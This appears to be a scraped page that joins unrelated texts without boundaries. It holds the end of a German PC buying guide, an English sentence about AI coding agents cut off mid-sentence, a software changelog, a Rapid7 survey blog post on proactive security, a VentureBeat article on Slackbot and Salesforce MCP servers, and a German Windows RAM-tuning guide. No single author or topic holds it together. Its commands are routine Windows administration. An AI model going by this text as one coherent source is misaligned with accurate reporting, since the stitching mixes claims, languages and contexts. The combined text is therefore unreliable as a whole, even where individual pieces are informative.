Mit dem A9 Max 2026 Edition (Test) liefert Geekom ein moderates, aber sinnvolles Update. Mit leistungsstarken AMD-Prozessoren vom Ryzen 9 7940HS bis zum Ryzen AI 9 HX 470 erreicht der Mini-PC bei Bildbearbeitung und Videoschnitt ein sehr hohes Leistungsniveau. Die Anschlussvielfalt bleibt stark, die dreijährige Garantie spricht für Geekom. Käufer erhalten ein insgesamt ausgewogenes Multimedia-Paket für die kommenden Jahre.

Gaming-Empfehlung: Cyberpowerpc Luxe Gaming-PC

CYBERPOWERPC

Bis hin zur 4K-Auflösung sind Sie mit dem Cyberpowerpc Luxe gut fürs Gaming aufgestellt. Die Nvidia Geforce RTX 5070 Ti bringt 16 GB GDDR7-Videospeicher und modernste Bildverbesserungstechniken wie DLSS 4.5 mit. Zur Seite gestellt ist die Grafikkarte der Achtkern-Prozessor AMD Ryzen 7 9800X3D mit dem Gaming-Turbo 3D V-Cache.

Dazu gibt’s satte 32 GB Arbeitsspeicher und eine 1 TB große SSD. Der Rechner setzt auf eine AIO-Wasserkühlung und sorgt mit sechs RGB-Lüftern auch für eine stimmige Beleuchtung.

Fazit: Wann ein neuer PC wirklich Sinn ergibt

Fehlende Updates, volle Festplatten, träge Leistung, Überhitzung oder mangelnde Aufrüstbarkeit: Das sind klare Signale, dass Ihr PC ausgedient hat. Ein neues System lohnt sich aber nicht nur bei Problemen. Auch um die Produktivität zu verbessern oder um Multimedia und Gaming mit modernen Standards zu genießen, ist geeignete Hardware wichtig – und sie verspricht mehr Spaß bei der täglichen Nutzung.

If you run multiple AI coding agents at the same time, you’ve probably faced this problem: too many terminal tabs,

Bugfixes

• Exposed reasoning effort variants for Grok models.
• Improved xAI prompt cache routing and PDF file support in Responses models.

Desktop

Improvements

• Added an Open containing folder action for projects on the home screen.
• Added a composer add menu for files, commands, context, and shell mode without losing draft text.
• Added a provider setup tip on new sessions when no external providers are connected.
• Remember review panel mode and selected file per session.
• Added inline file browser tabs for opening and previewing files from the side panel.
• Updated desktop translations.

Bugfixes

• Kept the review pane usable on wide screens by reserving its minimum width.
• Fixed hidden session panes staying mounted and causing side-panel glitches.
• Routed legacy drafts back to the session page.
• Loaded full review diffs for large patches when the initial diff is capped.
• Removed the first-open flash in the command palette.
• Routed the new session shortcut through tabs in the new layout.
• Kept session routes inside the correct layout when opening legacy session URLs.

For many teams, the direction is clear: security needs to become more proactive, more connected, and more resilient. Attackers are moving quickly, environments are expanding, and teams are under pressure to reduce risk before it turns into business disruption. But the survey results show that most organizations are still somewhere in the middle of that journey.

Where organizations are today

One of the clearest findings is that security operations are increasingly collaborative. According to the survey, 57% of respondents operate in a hybrid internal and MDR model. That reflects a reality many teams know well: internal expertise remains essential, but external support can help extend coverage, add specialist knowledge, and support faster response when internal resources are stretched.

This hybrid model also speaks to the complexity security teams are managing. Modern environments span cloud, identity, endpoints, applications, third parties, and expanding attack surfaces. Keeping watch across all of it requires more than tooling alone. It requires the right mix of people, process, visibility, and support.

At the same time, many organizations are still working to connect the dots across their security ecosystem. Two-thirds of respondents said their security capabilities are only partially integrated. For analysts, partial integration often means more manual work: switching between tools, stitching together context, and making decisions with an incomplete picture. When teams are jumping between systems, manually stitching together context, or working from incomplete data, it becomes harder to act at the speed modern threats demand.

The survey also showed that only 10% of respondents describe their organization as “highly proactive” in predicting and preventing threats, which points to the reality of where many teams are today. The ambition is there, but becoming truly preemptive takes time, integration, and operational maturity. Most organizations are still balancing the day-to-day demands of reactive response with the longer-term work of building a more proactive security model.

Confidence levels tell a similar story. 59% of respondents said they are only somewhat confident in their organization’s ability to prevent attacks before impact. Security teams understand what is at stake, but many still lack full confidence that they can consistently stop threats before they affect the business.

AI is a priority, but trust matters

AI was, of course, another major theme in the survey. Interest is high, especially when it comes to improving efficiency, accelerating triage, and helping teams manage growing volumes of data and alerts, but adoption is still developing. 52% of respondents said AI is in early-stage exploration within their security operations.

AI has clear potential in the SOC and across security operations, from summarizing investigations to enriching alerts, supporting prioritization, and helping analysts move faster. But security teams have to be deliberate about how they apply it. In high-pressure environments where accuracy, context, and accountability matter, AI needs to earn trust.

The survey results show that trust is still a key consideration. 57% of respondents cited securing AI usage as a top AI and security concern, while 44% cited lack of transparency or trust. These responses reflect a practical mindset. Security leaders are thinking about both sides of AI: how it can help defenders move faster, and how to manage the new risks it introduces. Internally, for AI to become operationally valuable, it has to fit into existing workflows, provide explainable outputs, and support human expertise.

What security teams want next

When respondents were asked what is preventing them from becoming more proactive, the top challenges were practical and familiar. 54% cited limited staff or expertise, making capacity one of the biggest barriers to progress. Teams may have the ambition to become more preemptive, but many are already balancing daily alert queues, incident response, vulnerability backlogs, compliance pressure, and business-as-usual security demands.

Visibility is another major factor. 31% of respondents cited lack of visibility across the environment as a barrier to becoming more proactive. Without a clear view of assets, identities, exposures, and attacker activity, teams struggle to prioritize what matters most. This is especially important as organizations look to move from broad detection toward more risk-aware, preemptive action.

The priorities respondents selected show where they want to go next. 41% selected preemptive security as a top security leadership priority, while improving resilience, strengthening incident response, reducing complexity, and improving risk visibility also appeared as recurring themes.

The findings from our Global Security Summit make one thing clear: security teams are ready to move toward more proactive, integrated, and AI-enabled operations, but they need the right visibility, expertise, and confidence to do it well.

To hear more from the experts and practitioners who joined us at the summit, catch up on the on-demand sessions. And to learn how Rapid7 is helping organizations move toward preemptive security, explore Rapid7 Managed Detection and Response, built to disrupt attackers earlier with broad ecosystem coverage, risk visibility, expert guidance, and an AI-powered SOC.

The mechanism behind the expansion is a set of dedicated Model Context Protocol (MCP) servers from Salesforce that connect Slackbot to the company's Headless 360 infrastructure. In practical terms, a salesperson can now ask Slackbot for a customer's deal history, receive a live Tableau visualization of pipeline trends, update a CRM record, and trigger a DocuSign approval — without ever switching tabs or logging into another application. According to Slack, the Salesforce IT team has already used this architecture to save its 1,500-plus engineers "thousands of custom coding hours annually."

The timing is not accidental. Slack is making this move amid escalating competitive pressure from Microsoft Teams, which claims 320 million-plus monthly active users and has Copilot embedded across the Office suite, and from Google, which continues to weave Gemini deeper into Workspace. And just days ago, The Information reported that some smaller companies are using Anthropic's Claude to replace Salesforce CRM entirely — one Atlanta-based property management firm with about 55 employees reportedly saved around $100,000 annually by building a custom replacement using Claude Code and Replit.

Against that backdrop, Slack CMO Ryan Gavin sat down for an exclusive interview with VentureBeat to frame the announcement and argue that the company's future depends on an idea he calls "multiplayer AI" — and that the 25 years of customer data locked inside Salesforce is an asset no vibe-coded alternative can replicate.

Why Slack's CMO believes 'multiplayer AI' is the next big enterprise battleground

Gavin's core argument is that the enterprise AI conversation has been stuck in single-player mode for too long, and that Slack is uniquely positioned to break it open.

"So much of what we've seen are just these incredible tools that have largely been single-player, incredible tools for individual productivity, helping people complete tasks and write code," Gavin told VentureBeat. "But as we've always known at Slack ever since our inception, work is a team sport. For AI to really take hold in the enterprise, it has to be multiplayer."

The distinction matters commercially. Most AI assistants today — ChatGPT, Claude, Copilot — default to one-on-one conversations with a single user. A researcher queries a model, gets a response, and acts on it alone. The insight stays in a private chat window, invisible to colleagues. Gavin argues this creates a new version of the tab-switching problem that plagued pre-AI enterprise software, except now employees are also navigating dozens of individual agent interfaces on top of their existing applications.

"It's going to benefit almost no one if every enterprise application out there spawns hundreds of agent babies, and employees end up in a worse world than they were before," Gavin said.

Slack's answer is to make Slackbot the orchestration layer. Because everything happens in shared channels, any action an agent takes — pulling a customer profile, flagging a deal risk, updating a Jira ticket — is visible to the entire team. A colleague can redirect, build on, or correct the agent's work in real time.

How MCP and Salesforce's headless 360 platform power Slackbot's new capabilities

The technical backbone of the announcement is the Model Context Protocol, an open standard originally developed by Anthropic that defines how AI models discover and invoke external tools. MCP has seen rapid adoption across the AI tooling ecosystem. By early 2026, it had been adopted by Claude Code, Cursor, GitHub Copilot, and OpenAI's tooling, with managed hosting available from AWS, Cloudflare, and Vercel. As a DEV Community explainer puts it, MCP "is the closest thing the AI tooling ecosystem has to a standard."

In this implementation, Salesforce exposes its platform capabilities — CRM records, Tableau visualizations, Data 360 customer profiles, Agentforce agents — as MCP servers. Slackbot operates as an MCP client, connecting to those servers and routing user queries to the appropriate back-end system. When a user asks Slackbot about a customer, the bot discovers which MCP tools are relevant, calls them, and synthesizes the results into a single response — all within the Slack conversation.

Gavin explained the architecture in simple terms: "Salesforce is extending what has always been our open platform through our Headless 360 strategy — making all of these MCP endpoints available. And then Slackbot acts as an MCP client, connecting to those MCP servers and bringing all that data in within the confines of a trusted permission platform."

That permission layer is critical. Slackbot respects each user's Salesforce permissions, meaning a marketing coordinator cannot accidentally access sales pipeline data they are not authorized to see. Validation rules, field-level security, and org-wide data boundary configurations carry over automatically. For admins, setup requires no custom integration code — Salesforce MCP servers can be discovered, installed, and governed from a single UI using the existing Slack-Salesforce connection.

Salesforce first introduced the Headless 360 concept at its TDX developer conference in April, positioning it as an API-driven layer that exposes the platform's data, workflows, and governance controls so that software agents, rather than human users, can execute business processes directly. As CIO.com reported at the time, analysts viewed the move as an effort by Salesforce "to position itself as a central layer for managing agent-driven operations across different business functions."

Slack says it's betting on openness, not on any single AI protocol

When asked whether Slack is making a risky bet on MCP as a protocol — given that standards in AI tooling can shift rapidly — Gavin reframed the question entirely.

"We're not betting on MCP, per se. We're betting on what we've always bet on, which is that Slack is an open platform," Gavin told VentureBeat. "MCP happens to be the best agent-to-agent protocol that the industry is rallying around right now, but if something better came out tomorrow, you'd see the same pattern from Slack — we're going to stay open. MCP and APIs are simply tools that facilitate that."

That open-platform philosophy is central to Slack's identity and, Gavin argues, its competitive differentiation. Slack already hosts more than 2,600 app integrations. The new MCP-native partner ecosystem includes Atlassian, Box, DocuSign, Canva, Lucid, Zoom, and more than 25 additional companies, each of whose agents can be added directly to shared Slack channels. MuleSoft Agent, now connected to Slackbot, helps manage integrations for the team — checking system health or surfacing critical error alerts in the same workspace where the team is already collaborating.

But MCP is not without trade-offs. The protocol requires tool discovery on every connection, and large tool libraries can consume significant context tokens. One technical analysis noted that a server exposing 300 tools could cost 5,000 to 10,000 tokens per session before the model does any useful work. For an enterprise like Salesforce with hundreds of potential tools across CRM, analytics, and service platforms, careful filtering and segmentation of MCP servers become essential design decisions — a challenge the company will need to navigate as the ecosystem scales.

Inside Slack's complicated relationship with Anthropic and the Claude question

Perhaps the most delicate topic in the interview concerned Slack's relationship with Anthropic, the AI lab behind Claude — and one of Slack's most visible power users. Just last week, Anthropic launched Claude Tag, a persistent AI teammate that works inside Slack channels, prompting confusion among Salesforce employees who worried it competes directly with Slackbot and Agentforce. The Information reported internal anxiety about whether Salesforce was welcoming a competitor into its own living room. Salesforce has financial reasons to maintain the partnership: the company reportedly expects to spend $300 million on Anthropic tokens this year and holds a stake in Anthropic.

Gavin addressed the tension head-on, framing it as a feature of Slack's platform strategy rather than a threat.

"We're incredibly excited and bullish about what Anthropic is bringing into Slack. Period. End of statement," Gavin said. He noted that Anthropic "is building roughly 65% of their code with Claude in Slack," and pointed out that ChatGPT was originally built in Slack, as was Perplexity.

"Building nowadays happens in the open, and every company is going to be building in the open with tools like this, and you need a platform to build in the open," Gavin said.

His argument is that feature overlap between Slackbot, Claude Tag, and other third-party agents is "actually a feature, not a bug" — a sign of a healthy platform rather than a competitive vulnerability. He compared it to an ecosystem where multiple products serve similar needs but win on craftsmanship, ease of use, and integration depth.

"One of the reasons Slackbot has been the fastest-adopted feature in Salesforce history is the simplicity, the approachability — underpinned by the trust that comes from having an agent that knows me, knows my tone, knows my work, knows my people, knows my data," Gavin said.

The distinction Slack draws is structural: Slackbot has access to a user's full workspace context, Salesforce data, permissions, and connected applications by default. Claude Tag, by contrast, only sees the channels it is explicitly added to. For Slack's leadership, that asymmetry is the moat.

How Slack plans to compete with Microsoft Teams and Google in the AI era

Asked directly about competitive positioning against Microsoft Teams and Google Workspace, Gavin pointed to Slack's open channel architecture as the differentiator no competitor can replicate.

"If you spend any time in Teams, it's a lovely tool for chat, direct messages, and video, but it has no platform for open communication across organizations," Gavin said. "Its SharePoint-based architecture is fundamentally limiting."

He cited Shopify as an example, where an internal AI agent called River is deployed across approximately 4,400 channels serving 6,000 employees. He also referenced a Fortune report noting that Microsoft's own head of AI mandated that his team run on Slack rather than Teams — a pointed detail Gavin clearly relished. "There's a reason for that," he said. "We're in an era right now where openness matters, and all the other tools you mentioned, they're still relatively closed."

The competitive pressure is real and intensifying. Microsoft has integrated Copilot across its entire productivity suite, giving it a distribution advantage that reaches virtually every Fortune 500 company. Google has been similarly aggressive with Gemini across Workspace. And new entrants are crowding the market: a startup called Viktor, which embeds AI agents inside Slack and Teams workspaces, recently raised a $75 million Series A led by Accel — with Slack cofounders Stewart Butterfield and Cal Henderson participating as angel investors.

Box, one of the enterprise customers highlighted in the announcement, told Slack it aims to have its sellers complete 75 to 80 percent of their work inside Slack. Gavin repeated that figure as evidence that the platform is becoming the default workspace for entire organizations, not just engineering teams — a shift he believes accelerates as AI makes every employee a builder.

Slack's biggest long-term play is making Salesforce's CRM useful to everyone in the company

Gavin saved what he considers the most underappreciated element of the announcement for last: the democratization of Salesforce's CRM.

For 25 years, Salesforce's CRM has been used primarily by sales, service, and marketing professionals — a relatively modest percentage of a company's total workforce. The promise of Slackbot as a conversational interface is that any employee, regardless of their role or technical fluency, can now query and act on CRM data simply by asking a question in natural language.

"What most people don't realize is that this democratization of CRM is going to take its usage from a modest percentage of employees to the entire enterprise," Gavin said. "When you can make systems like Data 360 or Agentforce for Sales accessible to the entire employee base — not just a percentage — think about how much more valuable those investments become."

He cited Engine, a company that handles 800,000 customer inquiries a year, as an example. Previously, answering a customer inquiry required a specific employee with access to a specific tool to look up a customer's history. Now, anyone in the company can ask Slackbot and see a complete customer profile, review case history, and write updates — all without being retrained or learning a new interface. Engine's CEO Elia Wallen, in a statement sent to VentureBeat, described the integration as enabling employees to "make data-driven decisions and take action without leaving the conversation."

The financial logic is straightforward: if Salesforce can make its platform useful to 100 percent of a customer's workforce rather than the 20 or 30 percent who currently hold licenses, the value of the existing Salesforce investment multiplies without requiring a proportional increase in spending. That pitch becomes especially potent at a time when CIOs are scrutinizing every line of their AI budgets.

What analysts and CIOs should watch as Slack rolls out its biggest AI update yet

The announcement is a significant architectural evolution for Slack, but several questions remain unanswered.

First, pricing. The company did not directly address whether Slackbot's MCP-powered Salesforce integration will require additional SKUs or license tiers. As Info-Tech Research Group analyst Scott Bickley cautioned when Headless 360 was first announced in April, "Salesforce's MO seems to be to announce new capabilities that require SKUs. CIOs should be asking about pricing now."

Second, performance. Routing user queries through MCP servers to Salesforce back-end systems introduces latency that could affect the conversational feel Slack prides itself on. Neither the press release nor the interview disclosed SLAs for MCP tool calls — a gap that enterprise buyers will want addressed.

Third, the competitive dynamics of the platform play. Slack's open-platform philosophy invites powerful partners like Anthropic and OpenAI into its ecosystem, but those same partners are building their own surfaces for enterprise work. Anthropic reportedly plans to expand Claude Tag to Microsoft Teams, email, and other project management tools — meaning the partner Salesforce is paying hundreds of millions a year is building the infrastructure to be useful without Slack at all.

And fourth, the broader existential question facing all enterprise software: whether AI agents will ultimately reduce the need for CRM systems entirely. Gavin's pitch — that Slack makes CRM more valuable by making it more accessible — is the inverse of the bear case. The market will ultimately decide which thesis prevails.

Salesforce reported record first-quarter revenue of $11.1 billion in fiscal Q1 2027, with Agentforce ARR surpassing $1 billion for the first time and combined AI and data ARR reaching $3.4 billion. Those numbers suggest the AI strategy is beginning to generate real revenue, even as the company navigates a market that remains uncertain about the long-term trajectory of legacy enterprise software.

"Slack has quickly moved from this beloved collaboration tool from the last ten years to now this multiplayer AI platform that we call a work operating system," Gavin said.

Five years ago, Salesforce paid $27.7 billion for what was, at its core, a very good group chat application. On Wednesday, it started trying to prove that group chat was never the product — it was the foundation. In the age of AI agents, the most valuable real estate in enterprise software may not be the database where the data lives. It may be the conversation where the decisions get made.

Quelle

Seit Monaten herrscht ein massiver Speicherengpass. Hintergrund ist vor allem der KI-Boom: Große Teile der DRAM-Produktion wandern in Rechenzentren und KI-Beschleuniger, während klassische PC-Hersteller mit steigenden Einkaufspreisen kämpfen.

Nach Daten von TrendForce sind die Preise für klassischen DRAM im ersten Quartal 2026 je nach Segment um rund 90 Prozent gestiegen. HP erklärte zuletzt, dass Arbeitsspeicher und SSDs inzwischen rund 35 Prozent der Materialkosten eines PCs ausmachen – zuvor lagen sie bei etwa 15 bis 18 Prozent.

TrendForce

Niemand geht derzeit davon aus, dass sich der Markt schnell beruhigt. Branchenanalysten rechnen vielmehr damit, dass die Speicherpreise mindestens bis 2027 hoch bleiben. Wer aktuell einen neuen PC kauft oder seinen bestehenden Rechner per RAM-Upgrade länger nutzen möchte, muss deutlich mehr Geld einplanen.

Wenn sich Kauf oder Upgrade mit dem vorgesehenen Budget nicht mehr lohnen, helfen Tuning-Tricks: Sie bringen Windows und Programme bei, den vorhandenen Arbeitsspeicher optimal zu nutzen – auf diese Weise können Sie selbst mit 8 oder 16 GB RAM problemlos arbeiten oder spielen. Wir zeigen, wie Sie dafür vorgehen.

Bestandsaufnahme: So viel Speicher steckt in Ihrem PC

Der erste Schritt zu einem optimierten System ist eine genaue Diagnose der aktuellen Ausstattung. Damit stellen Sie zum Beispiel fest, wie viel des eingebauten Speichers der Rechner tatsächlich nutzen darf – das steht in den Windows-Systeminformationen.

Sie öffnen sie mit der Tastenkombination Win-R und der Eingabe des Befehls msinfo32 im Ausführen-Fenster. Im geöffneten Programm suchen Sie in der rechten Spalte nach den RAM-Angaben: In der Zeile „Installierter physischer Speicher (RAM)“ steht die Gesamtkapazität. Wichtiger ist der Eintrag bei „Gesamter physischer Speicher“: Er verrät, was Windows und Programme nach Abzug systemkritischer Speicher-Reservierungen tatsächlich nutzen dürfen. Die Angabe bei „Gesamter virtueller Speicher“ zeigt die Summe aus physischem RAM und Auslagerungsdatei.

Friedrich Stiemer

Weitere Informationen zu RAM-Ausstattung und -Verbrauch liefert der Task-Manager: Sie starten ihn mit der Tastenkombination Strg-Shift-Esc und wechseln im Menü „Leistung“ zur Ansicht „Arbeitsspeicher“. Achten Sie hier auf die Anzeige unten rechts unter dem Diagramm. Dort finden Sie einen Wert bei „Für Hardware reserviert“: Er kann mehrere Hundert Megabyte oder über ein Gigabyte betragen und bezeichnet den Speicher, den die integrierte Grafikkarte des Prozessors beansprucht.

Friedrich Stiemer

Ein ebenfalls wichtiger Indikator ist die Anzeige „Zugesichert“, die meist in einer Form wie „10,5/24,3 GB“ dargestellt wird: Die vordere Zahl gibt an, wie viel Speicherplatz alle Programme aktuell insgesamt angefordert haben, während die hintere Zahl das absolute Limit markiert. Nähert sich die vordere Zahl diesem Limit, wird das System instabil, und es drohen Abstürze.

RAM per Hardware-Check und Uefi-Einstellungen optimieren

Der eingebaute Speicher hilft Ihrem PC nur, wenn er ordnungsgemäß funktioniert. Prüfen Sie deshalb, ob das RAM Fehler aufweist, bevor Sie Tuning-Maßnahmen anwenden. Am schnellsten geht das mit dem Bordmittel „mdsched.exe“ im Startmenü. Wählen Sie „Jetzt neu starten und nach Problemen suchen“, um das RAM beim Bootvorgang gründlich zu prüfen. Dieser Windows-Check unterzieht den Speicher verschiedenen Testmustern, um die physische Integrität jeder Zelle zu verifizieren.

Für eine Einschätzung grober Defekte und zur Analyse häufiger Abstürze ist dieses Vorgehen hilfreich. Wer tiefer einsteigen will, sollte dagegen das Gratis-Programm MemTest86: Damit lassen sich auch sporadische oder unter extremer Last auftretende Fehler entdecken.

Arbeitet der Speicher fehlerfrei, prüfen Sie anschließend, ob er mit den optimalen Einstellungen läuft. Dazu gehört der Dual-Channel-Modus, der die theoretische Bandbreite verdoppelt und besonders bei Systemen mit integrierter Grafik einen massiven Leistungsschub bringt. Rufen Sie den Task-Manager auf und schauen Sie unter „Leistung > Arbeitsspeicher“ auf den Eintrag „Steckplätze verwendet“: Bei zwei verbauten Modulen sollte dort „2 von 2“ oder „2 von 4“ stehen.

Friedrich Stiemer

Für absolute Gewissheit nutzen Sie das Gratis-Tool CPU-Z, das im Reiter „Memory“ unter „Channel“ explizit „Dual“ ausweist, wenn der Dual-Channel-Betrieb aktiv ist. Sollte dort „Single“ stehen, müssen Sie den PC ausschalten und die RAM-Riegel umsetzen. Bei Mainboards mit vier Steckplätzen ist es für die Signalstabilität und maximale Geschwindigkeit essenziell, die Riegel in den Slots 2 und 4 zu platzieren – auf der Platine meist als A2 und B2 oder in identischer Farbe markiert.

Wo Sie die Speicherriegel in Ihrem PC für Dual-Channel-Betrieb einsetzen müssen, steht im Handbuch. Die richtige Anordnung minimiert Signalreflexionen an den ungenutzten Enden der Leiterbahnen und ist oft die Voraussetzung dafür, dass hohe Taktraten stabil erreicht werden.

Den Feinschliff fürs RAM-Tempo nehmen Sie in den Uefi-Einstellungen vor. Die erreichen Sie aus Windows über „Einstellungen > System > Wiederherstellung“ und einen Klick auf „Jetzt neu starten“ beim „Erweiterten Start“. Nach dem Reboot wählen Sie „Problembehandlung“, „Erweiterte Optionen“ und „UEFI-Firmwareeinstellungen“.

Asus

Suchen Sie in den Einstellungen nach Optionen für Speicherprofile: Bei Systemen mit einer Intel-CPU finden sie sich meist unter „XMP“ (Extreme Memory Profile), bei einer AMD-Plattform unter „EXPO“ (Extended Profiles for Overclocking). Bei Asus-Mainboards stehen die RAM-Optionen oft im Menü „Ai Tweaker“, bei MSI unter „OC“, bei Gigabyte im Reiter „Tweaker“ und bei ASRock unter „OC Tweaker“.

Aktivieren Sie das passende Profil (meist „Profile 1“), um die vom Hersteller garantierte Höchstgeschwindigkeit und die optimalen Latenzen freizuschalten, ansonsten arbeitet das RAM oft nur mit langsameren Standardwerten. Speichern Sie die Änderungen mit der Taste F10 und bestätigen Sie den Neustart, damit die Performance-Gewinne wirksam werden.

Speicherfresser bei Programmen finden und abschalten

Viele Programme, die Arbeitsspeicher belegen, sind nicht sofort zu erkennen. Denn oft entsteht Speicherknappheit im Betrieb nicht durch die Software, mit der Sie aktiv arbeiten, sondern vielmehr durch Hintergrundprozesse.

Sortieren Sie deshalb die laufenden Prozesse auf dem PC nach ihrem Speicherbedarf: Öffnen Sie dafür den Task-Manager und klicken Sie in der obersten Zeile in den Bereich „Arbeitsspeicher“. Unter „Name“ sehen Sie die aktiven Programme nach Speicherbelegung: Häufig steht der Browser oben sowie andere geöffnete Programme wie der E-Mail-Client oder Office-Software. Doch dazwischen finden sich Prozesse, die nicht zu einer Software gehören.

Friedrich Stiemer

Eine präzisere Analyse ermöglicht der Reiter „Details“, das vorletzte Symbol in der linken Spalte des Task-Managers. Um versteckte Reservierungen aufzuspüren, klicken Sie mit der rechten Maustaste auf eine beliebige Spaltenüberschrift, wählen „Spalten auswählen“ und setzen einen Haken beim Eintrag „Zugesicherte Größe“. Diese Spalte zeigt Ihnen nun den exakten Wert des virtuellen Speichers an, den ein Programm reserviert hat – oft liegt dieser weit über dem aktuell genutzten RAM.

Werfen Sie außerdem Ballast beim Windows-Start ab: Tools wie Spotify, Discord oder Steam nisten sich im Autostart ein und verlangsamen das System beim Hochfahren. In den Windows-Einstellungen unter „Apps > Autostart“ deaktivieren Sie dieses Verhalten per Schieberegler, was den Start beschleunigt und RAM freihält.

Um Speicher freizugeben, können Sie zudem Bordmittel abschalten, die dauerhaft Ressourcen belegen, aber für den PC-Betrieb verzichtbar sind. Darunter fällt zum Beispiel die News- und Wetter-Anzeige in der Taskleiste: Sie ist informativ, verbraucht aber durch den Prozess „Widgets.exe“ ständig Speicher. Sie schalten sie aus mit einem Rechtsklick auf die Taskleiste, dann auf „Taskleisteneinstellungen“ und dem Deaktivieren der „Widgets“.

Ähnliches gilt für die Suchindizierung, die Ihre Dateien im Hintergrund katalogisiert, damit Sie sie schneller finden können. Hier sparen Sie RAM, indem Sie in den Windows-Einstellungen unter „Datenschutz und Sicherheit > Suche > Eigene Dateien suchen“ den Modus auf „Klassisch“ stellen.

Zusätzlich können Sie Ordner von der Indizierung ausschließen, wenn Sie auf „Auszuschließende Ordner hinzufügen“ klicken und im Explorer die gewünschten Verzeichnisse markieren. Das spart RAM, verursacht aber längere Wartezeiten bei der Dateisuche.

Auch unter den Windows-Diensten gibt es Kandidaten, die sich ohne Komfortverlust deaktivieren lassen. Das Dienste-Programm starten Sie über die Eingabe von services.msc in das Windows-Suchfeld. Suchen Sie dann nach dem Eintrag „SysMain“, dessen Eigenschaften Sie mit einem Doppelklick öffnen. Bei „Starttyp“ wählen Sie aus dem Drop-down-Menü den Eintrag „Deaktiviert“.

Dieser Dienst, früher als Superfetch bezeichnet, analysiert Programme und lädt sie vorab ins RAM, um ihren Start zu beschleunigen. Schalten Sie den Dienst ab, gewinnen Sie Speicherplatz. Apps brauchen danach beim ersten Öffnen nach einem Neustart möglicherweise minimal länger zum Laden.

Friedrich Stiemer

RAM-Bedarf von Browser und System reduzieren

Im PC-Alltag krallt sich üblicherweise der Browser den meisten Arbeitsspeicher. Auch hier finden Sie Einstellungen, um den RAM-Verbrauch zu senken.

Sie können etwa die integrierten Sparfunktionen einschalten: In Edge finden Sie unter „Einstellungen > System und Leistung“ im Abschnitt „Leistung“ die Option „Registerkarten automatisch in den Standbymodus versetzen“. Diese Funktion friert inaktive Tabs nach einer festgelegten Zeit ein – standardmäßig eine Stunde –, was die RAM-Belegung um rund 32 Prozent senken kann.

Friedrich Stiemer

In Google Chrome navigieren Sie zu „Einstellungen“ und „Leistung“, um den „Arbeitsspeicher-Sparmodus“ einzuschalten. Chrome setzt hier auf „Tab Discarding“: Der Inhalt inaktiver Tabs wird aus dem RAM geworfen und erst beim erneuten Anklicken wieder geladen.

Firefox-Nutzer geben about:config in die Browserzeile ein und setzen den Wert „browser.tabs.loadInBackground“ auf „false“. Dies verhindert, dass im Hintergrund geöffnete Tabs RAM belegen – sie werden erst geladen, wenn Sie sie anwählen.

Unter Windows 11 macht das Abschalten von KI-Funktionen Arbeitsspeicher frei. Recall zum Beispiel erstellt regelmäßig Snapshots Ihres Bildschirms für eine durchsuchbare Historie. Das ist praktisch, verbraucht aber permanent Ressourcen und birgt Datenschutzrisiken. Um Recall abzuschalten, suchen Sie im Startmenü nach „PowerShell“, klicken den Eintrag mit der rechten Maustaste an und wählen „Als Administrator ausführen“. Geben Sie nun Dism /Online /Disable-Feature /Featurename:Recall ein.

Copilot deaktivieren Sie unter Windows 11 Pro über den Gruppenrichtlinien-Editor, den Sie mit Win-R und dem Befehl gpedit.msc starten. Navigieren Sie zu „Benutzerkonfiguration > Administrative Vorlagen > Windows-Komponenten > Windows Copilot“ und setzen Sie „Windows Copilot deaktivieren“ auf „Aktiviert“.

Unter Windows 11 Home rufen Sie stattdessen den Registrierungs-Editor über Win-R und den Befehl regedit auf, bestätigen mit „Ja“ und navigieren im linken Verzeichnisbaum zum Pfad „HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows“.

Fehlt dort der Unterordner „WindowsCopilot“, erstellen Sie ihn per Rechtsklick auf den Windows-Ordner über „Neu“ und „Schlüssel“. Klicken Sie anschließend mit der rechten Maustaste in die rechte Fensterhälfte, wählen Sie „Neu“, dann „DWORD-Wert (32-Bit)“ und benennen Sie diesen TurnOffWindowsCopilot. Mit einem Doppelklick setzen Sie den Wert auf „1“ und beenden die Hintergrundprozesse nach einem Neustart endgültig.

RAM-Strategien für Spieler

Am meisten leiden Spieler unter den hohen RAM-Preisen: Aktuelle Top-Spiele wie Crimson Desert oder Resident Evil Requiem setzen bereits mindestens 16 GB RAM voraus. Um trotzdem ressourcenschonend zu spielen, sind reduzierte Grafikdetails der wichtigste Hebel: Verringern Sie daher Texturqualität, Sichtweite und Schatten in den Spieleeinstellungen.

Hochauflösende Texturen belasten vor allem den Videospeicher der Grafikkarte. Ist dieser erschöpft, weicht das System auf den langsameren System-RAM aus, was zu massiven Rucklern im Spielablauf führen kann.

Besonders wichtig: Schließen Sie vor dem Spielstart andere aktive Programme wie Browser oder Kommunikationstools – sie belegen wertvollen Speicherplatz, den Sie ausschließlich für das Spiel nutzen sollten.

So wichtig ist die Auslagerungsdatei bei wenig RAM

Wenn der Arbeitsspeicher des Systems trotz der vorgestellten Sparmaßnahmen knapp wird, dient die Auslagerungsdatei (pagefile.sys) auf der SSD als Sicherheitsnetz. Deaktivieren Sie diese Datei nie, da dies zu Instabilitäten und Abstürzen führt.

Um die Konfiguration zu optimieren, öffnen Sie über Win-R mit dem Befehl sysdm.cpl die Systemeigenschaften und navigieren zum Reiter „Erweitert“. Klicken Sie bei „Leistung“ auf „Einstellungen“, wechseln Sie im neuen Fenster auf „Erweitert“ und wählen Sie unter „Virtueller Arbeitsspeicher“ die Schaltfläche „Ändern“.

Deaktivieren Sie hier das Häkchen für die automatische Verwaltung und wählen Sie Ihr schnellstes SSD-Laufwerk aus. Stellen Sie die Option auf „Benutzerdefinierte Größe“ und tragen Sie bei Anfangs- und Maximalgröße denselben Wert ein (etwa das 1,5- bis 3-Fache Ihres RAMs). Das verhindert, dass Windows die Datei dynamisch vergrößern muss, was Rechenlast und SSD-Fragmentierung reduziert. Bestätigen Sie mit „Festlegen“ und starten Sie den PC neu.